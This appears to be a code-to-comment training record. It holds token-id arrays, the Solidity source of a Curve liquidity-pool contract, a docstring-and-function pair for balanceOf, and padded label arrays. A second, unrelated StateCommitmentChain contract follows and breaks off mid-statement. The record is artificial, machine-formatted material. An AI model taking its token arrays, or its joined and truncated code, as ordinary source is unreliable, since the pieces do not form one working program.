[ 1, 16351, 463, 717, 5460, 12565, 353, 463, 717, 2171, 16, 4232, 39, 27, 5340, 288, 203, 203, 565, 533, 1071, 5381, 508, 273, 315, 18601, 40, 717, 14432, 203, 565, 533, 1071, 5381, 3273, 273, 315, 44, 40, 14432, 203, 203, 203, 565, 1731, 24, 5381, 6682, 5374, 67, 654, 39, 28275, 273, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 28064, 1358, 12, 3890, 24, 2225, 10019, 203, 203, 565, 1731, 24, 5381, 6682, 5374, 67, 654, 39, 27, 5340, 273, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 529, 10031, 3719, 3602, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 7175, 10031, 3719, 3602, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 4963, 3088, 1283, 10031, 3719, 3602, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 12296, 951, 12, 2867, 2225, 3719, 3602, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 8443, 951, 12, 11890, 5034, 2225, 3719, 3602, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 12908, 537, 12, 2867, 16, 11890, 5034, 2225, 3719, 3602, 203, 3639, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 13866, 12, 2867, 16, 11890, 5034, 2225, 3719, 3602, 203, 565, 1731, 24, 12, 79, 24410, 581, 5034, 2932, 13866, 1265, 12, 2867, 16, 2867, 16, 11890, 5034, 2225, 10019, 203, 203, 565, 445, 6146, 1358, 12, 3890, 24, 389, 5831, 734, 13, 3903, 1476, 1135, 261, 6430, 13, 203, 203, 565, 288, 203, 203, 3639, 327, 14015, 67, 5831, 734, 422, 6682, 2 ]
// SPDX-License-Identifier: MIT // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.6.12; import './lib/ABDKMath64x64.sol'; import './Orchestrator.sol'; import './ProportionalLiquidity.sol'; import './Swaps.sol'; import './ViewLiquidity.sol'; import './Storage.sol'; import './MerkleProver.sol'; import './interfaces/IFreeFromUpTo.sol'; library Curves { using ABDKMath64x64 for int128; event Approval( address indexed _owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function add( uint256 x, uint256 y, string memory errorMessage ) private pure returns (uint256 z) { require((z = x + y) >= x, errorMessage); } function sub( uint256 x, uint256 y, string memory errorMessage ) private pure returns (uint256 z) { require((z = x - y) <= x, errorMessage); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer( Storage.Curve storage curve, address recipient, uint256 amount ) external returns (bool) { _transfer(curve, msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve( Storage.Curve storage curve, address spender, uint256 amount ) external returns (bool) { _approve(curve, msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount` */ function transferFrom( Storage.Curve storage curve, address sender, address recipient, uint256 amount ) external returns (bool) { _transfer(curve, sender, recipient, amount); _approve( curve, sender, msg.sender, sub( curve.allowances[sender][msg.sender], amount, 'Curve/insufficient-allowance' ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance( Storage.Curve storage curve, address spender, uint256 addedValue ) external returns (bool) { _approve( curve, msg.sender, spender, add( curve.allowances[msg.sender][spender], addedValue, 'Curve/approval-overflow' ) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance( Storage.Curve storage curve, address spender, uint256 subtractedValue ) external returns (bool) { _approve( curve, msg.sender, spender, sub( curve.allowances[msg.sender][spender], subtractedValue, 'Curve/allowance-decrease-underflow' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is public function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( Storage.Curve storage curve, address sender, address recipient, uint256 amount ) private { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); curve.balances[sender] = sub( curve.balances[sender], amount, 'Curve/insufficient-balance' ); curve.balances[recipient] = add( curve.balances[recipient], amount, 'Curve/transfer-overflow' ); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `_owner`s tokens. * * This is public function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `_owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( Storage.Curve storage curve, address _owner, address spender, uint256 amount ) private { require(_owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); curve.allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } } contract Curve is Storage, MerkleProver { using SafeMath for uint256; event Approval( address indexed _owner, address indexed spender, uint256 value ); event ParametersSet( uint256 alpha, uint256 beta, uint256 delta, uint256 epsilon, uint256 lambda ); event AssetIncluded( address indexed numeraire, address indexed reserve, uint256 weight ); event AssimilatorIncluded( address indexed derivative, address indexed numeraire, address indexed reserve, address assimilator ); event PartitionRedeemed( address indexed token, address indexed redeemer, uint256 value ); event OwnershipTransfered( address indexed previousOwner, address indexed newOwner ); event FrozenSet(bool isFrozen); event EmergencyAlarm(bool isEmergency); event WhitelistingStopped(); event Trade( address indexed trader, address indexed origin, address indexed target, uint256 originAmount, uint256 targetAmount ); event Transfer(address indexed from, address indexed to, uint256 value); modifier onlyOwner() { require(msg.sender == owner, 'Curve/caller-is-not-owner'); _; } modifier nonReentrant() { require(notEntered, 'Curve/re-entered'); notEntered = false; _; notEntered = true; } modifier transactable() { require(!frozen, 'Curve/frozen-only-allowing-proportional-withdraw'); _; } modifier isEmergency() { require( emergency, 'Curve/emergency-only-allowing-emergency-proportional-withdraw' ); _; } modifier deadline(uint256 _deadline) { require(block.timestamp < _deadline, 'Curve/tx-deadline-passed'); _; } modifier inWhitelistingStage() { require(whitelistingStage, 'Curve/whitelist-stage-on-going'); _; } modifier notInWhitelistingStage() { require(!whitelistingStage, 'Curve/whitelist-stage-stopped'); _; } constructor( string memory _name, string memory _symbol, address[] memory _assets, uint256[] memory _assetWeights ) public { owner = msg.sender; name = _name; symbol = _symbol; emit OwnershipTransfered(address(0), msg.sender); Orchestrator.initialize( curve, numeraires, reserves, derivatives, _assets, _assetWeights ); } /// @notice sets the parameters for the pool /// @param _alpha the value for alpha (halt threshold) must be less than or equal to 1 and greater than 0 /// @param _beta the value for beta must be less than alpha and greater than 0 /// @param _feeAtHalt the maximum value for the fee at the halt point /// @param _epsilon the base fee for the pool /// @param _lambda the value for lambda must be less than or equal to 1 and greater than zero function setParams( uint256 _alpha, uint256 _beta, uint256 _feeAtHalt, uint256 _epsilon, uint256 _lambda ) external onlyOwner { Orchestrator.setParams(curve, _alpha, _beta, _feeAtHalt, _epsilon, _lambda); } /// @notice excludes an assimilator from the curve /// @param _derivative the address of the assimilator to exclude function excludeDerivative(address _derivative) external onlyOwner { for (uint256 i = 0; i < numeraires.length; i++) { if (_derivative == numeraires[i]) revert('Curve/cannot-delete-numeraire'); if (_derivative == reserves[i]) revert('Curve/cannot-delete-reserve'); } delete curve.assimilators[_derivative]; } /// @notice view the current parameters of the curve /// @return alpha_ the current alpha value /// beta_ the current beta value /// delta_ the current delta value /// epsilon_ the current epsilon value /// lambda_ the current lambda value /// omega_ the current omega value function viewCurve() external view returns ( uint256 alpha_, uint256 beta_, uint256 delta_, uint256 epsilon_, uint256 lambda_ ) { return Orchestrator.viewCurve(curve); } function turnOffWhitelisting() external onlyOwner { emit WhitelistingStopped(); whitelistingStage = false; } function setEmergency(bool _emergency) external onlyOwner { emit EmergencyAlarm(_emergency); emergency = _emergency; } function setFrozen(bool _toFreezeOrNotToFreeze) external onlyOwner { emit FrozenSet(_toFreezeOrNotToFreeze); frozen = _toFreezeOrNotToFreeze; } function transferOwnership(address _newOwner) external onlyOwner { require( _newOwner != address(0), 'Curve/new-owner-cannot-be-zeroth-address' ); emit OwnershipTransfered(owner, _newOwner); owner = _newOwner; } /// @notice swap a dynamic origin amount for a fixed target amount /// @param _origin the address of the origin /// @param _target the address of the target /// @param _originAmount the origin amount /// @param _minTargetAmount the minimum target amount /// @param _deadline deadline in block number after which the trade will not execute /// @return targetAmount_ the amount of target that has been swapped for the origin amount function originSwap( address _origin, address _target, uint256 _originAmount, uint256 _minTargetAmount, uint256 _deadline ) external deadline(_deadline) transactable nonReentrant returns (uint256 targetAmount_) { targetAmount_ = Swaps.originSwap( curve, _origin, _target, _originAmount, msg.sender ); require(targetAmount_ >= _minTargetAmount, 'Curve/below-min-target-amount'); } /// @notice view how much target amount a fixed origin amount will swap for /// @param _origin the address of the origin /// @param _target the address of the target /// @param _originAmount the origin amount /// @return targetAmount_ the target amount that would have been swapped for the origin amount function viewOriginSwap( address _origin, address _target, uint256 _originAmount ) external view transactable returns (uint256 targetAmount_) { targetAmount_ = Swaps.viewOriginSwap( curve, _origin, _target, _originAmount ); } /// @notice swap a dynamic origin amount for a fixed target amount /// @param _origin the address of the origin /// @param _target the address of the target /// @param _maxOriginAmount the maximum origin amount /// @param _targetAmount the target amount /// @param _deadline deadline in block number after which the trade will not execute /// @return originAmount_ the amount of origin that has been swapped for the target function targetSwap( address _origin, address _target, uint256 _maxOriginAmount, uint256 _targetAmount, uint256 _deadline ) external deadline(_deadline) transactable nonReentrant returns (uint256 originAmount_) { originAmount_ = Swaps.targetSwap( curve, _origin, _target, _targetAmount, msg.sender ); require(originAmount_ <= _maxOriginAmount, 'Curve/above-max-origin-amount'); } /// @notice view how much of the origin currency the target currency will take /// @param _origin the address of the origin /// @param _target the address of the target /// @param _targetAmount the target amount /// @return originAmount_ the amount of target that has been swapped for the origin function viewTargetSwap( address _origin, address _target, uint256 _targetAmount ) external view transactable returns (uint256 originAmount_) { originAmount_ = Swaps.viewTargetSwap( curve, _origin, _target, _targetAmount ); } /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports /// @param index Index corresponding to the merkleProof /// @param account Address coorresponding to the merkleProof /// @param amount Amount coorresponding to the merkleProof, should always be 1 /// @param merkleProof Merkle proof /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst /// the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function depositWithWhitelist( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof, uint256 _deposit, uint256 _deadline ) external deadline(_deadline) transactable nonReentrant inWhitelistingStage returns (uint256, uint256[] memory) { require( isWhitelisted(index, account, amount, merkleProof), 'Curve/not-whitelisted' ); require(msg.sender == account, 'Curve/not-approved-user'); (uint256 curvesMinted_, uint256[] memory deposits_) = ProportionalLiquidity .proportionalDeposit(curve, _deposit); whitelistedDeposited[msg.sender] = whitelistedDeposited[msg.sender].add( curvesMinted_ ); // 10k max deposit if (whitelistedDeposited[msg.sender] > 10000e18) { revert('Curve/exceed-whitelist-maximum-deposit'); } return (curvesMinted_, deposits_); } /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst /// the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function deposit(uint256 _deposit, uint256 _deadline) external deadline(_deadline) transactable nonReentrant notInWhitelistingStage returns (uint256, uint256[] memory) { // (curvesMinted_, deposits_) return ProportionalLiquidity.proportionalDeposit(curve, _deposit); } /// @notice view deposits and curves minted a given deposit would return /// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the /// prevailing proportions of the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) { // curvesToMint_, depositsToMake_ return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit); } /// @notice Emergency withdraw tokens in the event that the oracle somehow bugs out /// and no one is able to withdraw due to the invariant check /// @param _curvesToBurn the full amount you want to withdraw from the pool which will be withdrawn from evenly amongst the /// numeraire assets of the pool /// @return withdrawals_ the amonts of numeraire assets withdrawn from the pool function emergencyWithdraw(uint256 _curvesToBurn, uint256 _deadline) external isEmergency deadline(_deadline) nonReentrant returns (uint256[] memory withdrawals_) { return ProportionalLiquidity.emergencyProportionalWithdraw(curve, _curvesToBurn); } /// @notice withdrawas amount of curve tokens from the the pool equally from the numeraire assets of the pool with no slippage /// @param _curvesToBurn the full amount you want to withdraw from the pool which will be withdrawn from evenly amongst the /// numeraire assets of the pool /// @return withdrawals_ the amonts of numeraire assets withdrawn from the pool function withdraw(uint256 _curvesToBurn, uint256 _deadline) external deadline(_deadline) nonReentrant returns (uint256[] memory withdrawals_) { if (whitelistingStage) { whitelistedDeposited[msg.sender] = whitelistedDeposited[msg.sender].sub( _curvesToBurn ); } return ProportionalLiquidity.proportionalWithdraw(curve, _curvesToBurn); } /// @notice views the withdrawal information from the pool /// @param _curvesToBurn the full amount you want to withdraw from the pool which will be withdrawn from evenly amongst the /// numeraire assets of the pool /// @return the amonnts of numeraire assets withdrawn from the pool function viewWithdraw(uint256 _curvesToBurn) external view transactable returns (uint256[] memory) { return ProportionalLiquidity.viewProportionalWithdraw(curve, _curvesToBurn); } function supportsInterface(bytes4 _interface) public pure returns (bool supports_) { supports_ = this.supportsInterface.selector == _interface || // erc165 bytes4(0x7f5828d0) == _interface || // eip173 bytes4(0x36372b07) == _interface; // erc20 } /// @notice transfers curve tokens /// @param _recipient the address of where to send the curve tokens /// @param _amount the amount of curve tokens to send /// @return success_ the success bool of the call function transfer(address _recipient, uint256 _amount) public nonReentrant returns (bool success_) { success_ = Curves.transfer(curve, _recipient, _amount); } /// @notice transfers curve tokens from one address to another address /// @param _sender the account from which the curve tokens will be sent /// @param _recipient the account to which the curve tokens will be sent /// @param _amount the amount of curve tokens to transfer /// @return success_ the success bool of the call function transferFrom( address _sender, address _recipient, uint256 _amount ) public nonReentrant returns (bool success_) { success_ = Curves.transferFrom(curve, _sender, _recipient, _amount); } /// @notice approves a user to spend curve tokens on their behalf /// @param _spender the account to allow to spend from msg.sender /// @param _amount the amount to specify the spender can spend /// @return success_ the success bool of this call function approve(address _spender, uint256 _amount) public nonReentrant returns (bool success_) { success_ = Curves.approve(curve, _spender, _amount); } /// @notice view the curve token balance of a given account /// @param _account the account to view the balance of /// @return balance_ the curve token ballance of the given account function balanceOf(address _account) public view returns (uint256 balance_) { balance_ = curve.balances[_account]; } /// @notice views the total curve supply of the pool /// @return totalSupply_ the total supply of curve tokens function totalSupply() public view returns (uint256 totalSupply_) { totalSupply_ = curve.totalSupply; } /// @notice views the total allowance one address has to spend from another address /// @param _owner the address of the owner /// @param _spender the address of the spender /// @return allowance_ the amount the owner has allotted the spender function allowance(address _owner, address _spender) public view returns (uint256 allowance_) { allowance_ = curve.allowances[_owner][_spender]; } /// @notice views the total amount of liquidity in the curve in numeraire value and format - 18 decimals /// @return total_ the total value in the curve /// @return individual_ the individual values in the curve function liquidity() public view returns (uint256 total_, uint256[] memory individual_) { return ViewLiquidity.viewLiquidity(curve); } /// @notice view the assimilator address for a derivative /// @return assimilator_ the assimilator address function assimilator(address _derivative) public view returns (address assimilator_) { assimilator_ = curve.assimilators[_derivative].addr; } }
@notice view the curve token balance of a given account @param _account the account to view the balance of @return balance_ the curve token ballance of the given account
function balanceOf(address _account) public view returns (uint256 balance_) { balance_ = curve.balances[_account]; }
12,815,507
[ 1, 1945, 326, 8882, 1147, 11013, 434, 279, 864, 2236, 225, 389, 4631, 326, 2236, 358, 1476, 326, 11013, 434, 327, 11013, 67, 326, 8882, 1147, 26503, 1359, 434, 326, 864, 2236, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 11013, 951, 12, 2867, 389, 4631, 13, 1071, 1476, 1135, 261, 11890, 5034, 11013, 67, 13, 288, 203, 565, 11013, 67, 273, 8882, 18, 70, 26488, 63, 67, 4631, 15533, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; import { Lib_MerkleTree } from "../../libraries/utils/Lib_MerkleTree.sol"; /* Interface Imports */ import { IStateCommitmentChain } from "./IStateCommitmentChain.sol"; import { ICanonicalTransactionChain } from "./ICanonicalTransactionChain.sol"; import { IBondManager } from "../verification/IBondManager.sol"; import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title StateCommitmentChain * @dev The State Commitment Chain (SCC) contract contains a list of proposed state roots which * Proposers assert to be a result of each transaction in the Canonical Transaction Chain (CTC). * Elements here have a 1:1 correspondence with transactions in the CTC, and should be the unique * state root calculated off-chain by applying the canonical transactions one by one. * * Runtime target: EVM */ contract StateCommitmentChain is IStateCommitmentChain, Lib_AddressResolver { /************* * Constants * *************/ uint256 public FRAUD_PROOF_WINDOW; uint256 public SEQUENCER_PUBLISH_WINDOW; uint256 public DEFAULT_CHAINID = 1088; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Address Manager. */ constructor( address _libAddressManager, uint256 _fraudProofWindow, uint256 _sequencerPublishWindow ) Lib_AddressResolver(_libAddressManager) { FRAUD_PROOF_WINDOW = _fraudProofWindow; SEQUENCER_PUBLISH_WINDOW = _sequencerPublishWindow; } function setFraudProofWindow (uint256 window) public { require (msg.sender == resolve("METIS_MANAGER"), "now allowed"); FRAUD_PROOF_WINDOW = window; } /******************** * Public Functions * ********************/ /** * Accesses the batch storage container. * @return Reference to the batch storage container. */ function batches() public view returns (IChainStorageContainer) { return IChainStorageContainer(resolve("ChainStorageContainer-SCC-batches")); } /** * @inheritdoc IStateCommitmentChain */ function getTotalElements() public view returns (uint256 _totalElements) { return getTotalElementsByChainId(DEFAULT_CHAINID); } /** * @inheritdoc IStateCommitmentChain */ function getTotalBatches() public view returns (uint256 _totalBatches) { return getTotalBatchesByChainId(DEFAULT_CHAINID); } /** * @inheritdoc IStateCommitmentChain */ function getLastSequencerTimestamp() public view returns (uint256 _lastSequencerTimestamp) { return getLastSequencerTimestampByChainId(DEFAULT_CHAINID); } /** * @inheritdoc IStateCommitmentChain */ function appendStateBatch(bytes32[] memory _batch, uint256 _shouldStartAtElement) public { require (1==0, "don't use"); //appendStateBatchByChainId(DEFAULT_CHAINID, _batch, _shouldStartAtElement, "1088_MVM_Proposer"); } /** * @inheritdoc IStateCommitmentChain */ function deleteStateBatch(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) public { deleteStateBatchByChainId(DEFAULT_CHAINID, _batchHeader); } /** * @inheritdoc IStateCommitmentChain */ function verifyStateCommitment( bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) public view returns (bool) { return verifyStateCommitmentByChainId(DEFAULT_CHAINID, _element, _batchHeader, _proof); } /** * @inheritdoc IStateCommitmentChain */ function insideFraudProofWindow(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) public view returns (bool _inside) { (uint256 timestamp, ) = abi.decode(_batchHeader.extraData, (uint256, address)); require(timestamp != 0, "Batch header timestamp cannot be zero"); return (timestamp + FRAUD_PROOF_WINDOW) > block.timestamp; } /********************** * Internal Functions * **********************/ /** * Parses the batch context from the extra data. * @return Total number of elements submitted. * @return Timestamp of the last batch submitted by the sequencer. */ function _getBatchExtraData() internal view returns (uint40, uint40) { bytes27 extraData = batches().getGlobalMetadata(); // solhint-disable max-line-length uint40 totalElements; uint40 lastSequencerTimestamp; assembly { extraData := shr(40, extraData) totalElements := and( extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF ) lastSequencerTimestamp := shr( 40, and(extraData, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000) ) } // solhint-enable max-line-length return (totalElements, lastSequencerTimestamp); } /** * Encodes the batch context for the extra data. * @param _totalElements Total number of elements submitted. * @param _lastSequencerTimestamp Timestamp of the last batch submitted by the sequencer. * @return Encoded batch context. */ function _makeBatchExtraData(uint40 _totalElements, uint40 _lastSequencerTimestamp) internal pure returns (bytes27) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _lastSequencerTimestamp)) extraData := shl(40, extraData) } return extraData; } /** * @inheritdoc IStateCommitmentChain */ function getTotalElementsByChainId( uint256 _chainId ) override public view returns ( uint256 _totalElements ) { (uint40 totalElements, ) = _getBatchExtraDataByChainId(_chainId); return uint256(totalElements); } /** * @inheritdoc IStateCommitmentChain */ function getTotalBatchesByChainId( uint256 _chainId ) override public view returns ( uint256 _totalBatches ) { return batches().lengthByChainId(_chainId); } /** * @inheritdoc IStateCommitmentChain */ function getLastSequencerTimestampByChainId( uint256 _chainId ) override public view returns ( uint256 _lastSequencerTimestamp ) { (, uint40 lastSequencerTimestamp) = _getBatchExtraDataByChainId(_chainId); return uint256(lastSequencerTimestamp); } /** * @inheritdoc IStateCommitmentChain */ function appendStateBatchByChainId( uint256 _chainId, bytes32[] calldata _batch, uint256 _shouldStartAtElement, string calldata proposer ) override public { // Fail fast in to make sure our batch roots aren't accidentally made fraudulent by the // publication of batches by some other user. require( _shouldStartAtElement == getTotalElementsByChainId(_chainId), "Actual batch start index does not match expected start index." ); address proposerAddr = resolve(proposer); // Proposers must have previously staked at the BondManager require( IBondManager(resolve("BondManager")).isCollateralizedByChainId(_chainId,msg.sender,proposerAddr), "Proposer does not have enough collateral posted" ); require( _batch.length > 0, "Cannot submit an empty state batch." ); require( getTotalElementsByChainId(_chainId) + _batch.length <= ICanonicalTransactionChain(resolve("CanonicalTransactionChain")).getTotalElementsByChainId(_chainId), "Number of state roots cannot exceed the number of canonical transactions." ); // Pass the block's timestamp and the publisher of the data // to be used in the fraud proofs _appendBatchByChainId( _chainId, _batch, abi.encode(block.timestamp, msg.sender), proposerAddr ); } /** * @inheritdoc IStateCommitmentChain */ function deleteStateBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) override public { require( msg.sender == resolve( string(abi.encodePacked(uint2str(_chainId),"_MVM_FraudVerifier"))), "State batches can only be deleted by the MVM_FraudVerifier." ); require( _isValidBatchHeaderByChainId(_chainId,_batchHeader), "Invalid batch header." ); require( insideFraudProofWindowByChainId(_chainId,_batchHeader), "State batches can only be deleted within the fraud proof window." ); _deleteBatchByChainId(_chainId,_batchHeader); } /** * @inheritdoc IStateCommitmentChain */ function verifyStateCommitmentByChainId( uint256 _chainId, bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) override public view returns ( bool ) { require( _isValidBatchHeaderByChainId(_chainId,_batchHeader), "Invalid batch header." ); require( Lib_MerkleTree.verify( _batchHeader.batchRoot, _element, _proof.index, _proof.siblings, _batchHeader.batchSize ), "Invalid inclusion proof." ); return true; } /** * @inheritdoc IStateCommitmentChain */ function insideFraudProofWindowByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) override public view returns ( bool _inside ) { (uint256 timestamp,) = abi.decode( _batchHeader.extraData, (uint256, address) ); require( timestamp != 0, "Batch header timestamp cannot be zero" ); return timestamp + FRAUD_PROOF_WINDOW > block.timestamp; } /********************** * Internal Functions * **********************/ /** * Parses the batch context from the extra data. * @return Total number of elements submitted. * @return Timestamp of the last batch submitted by the sequencer. */ function _getBatchExtraDataByChainId( uint256 _chainId ) internal view returns ( uint40, uint40 ) { bytes27 extraData = batches().getGlobalMetadataByChainId(_chainId); uint40 totalElements; uint40 lastSequencerTimestamp; assembly { extraData := shr(40, extraData) totalElements := and(extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF) lastSequencerTimestamp := shr(40, and(extraData, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000)) } return ( totalElements, lastSequencerTimestamp ); } /** * Encodes the batch context for the extra data. * @param _totalElements Total number of elements submitted. * @param _lastSequencerTimestamp Timestamp of the last batch submitted by the sequencer. * @return Encoded batch context. */ function _makeBatchExtraDataByChainId( uint256 _chainId, uint40 _totalElements, uint40 _lastSequencerTimestamp ) internal pure returns ( bytes27 ) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _lastSequencerTimestamp)) extraData := shl(40, extraData) } return extraData; } /** * Appends a batch to the chain. * @param _batch Elements within the batch. * @param _extraData Any extra data to append to the batch. */ function _appendBatchByChainId( uint256 _chainId, bytes32[] memory _batch, bytes memory _extraData, address proposer ) internal { (uint40 totalElements, uint40 lastSequencerTimestamp) = _getBatchExtraDataByChainId(_chainId); if (msg.sender == proposer) { lastSequencerTimestamp = uint40(block.timestamp); } else { // We keep track of the last batch submitted by the sequencer so there's a window in // which only the sequencer can publish state roots. A window like this just reduces // the chance of "system breaking" state roots being published while we're still in // testing mode. This window should be removed or significantly reduced in the future. require( lastSequencerTimestamp + SEQUENCER_PUBLISH_WINDOW < block.timestamp, "Cannot publish state roots within the sequencer publication window." ); } // For efficiency reasons getMerkleRoot modifies the `_batch` argument in place // while calculating the root hash therefore any arguments passed to it must not // be used again afterwards Lib_OVMCodec.ChainBatchHeader memory batchHeader = Lib_OVMCodec.ChainBatchHeader({ batchIndex: getTotalBatchesByChainId(_chainId), batchRoot: Lib_MerkleTree.getMerkleRoot(_batch), batchSize: _batch.length, prevTotalElements: totalElements, extraData: _extraData }); emit StateBatchAppended( _chainId, batchHeader.batchIndex, batchHeader.batchRoot, 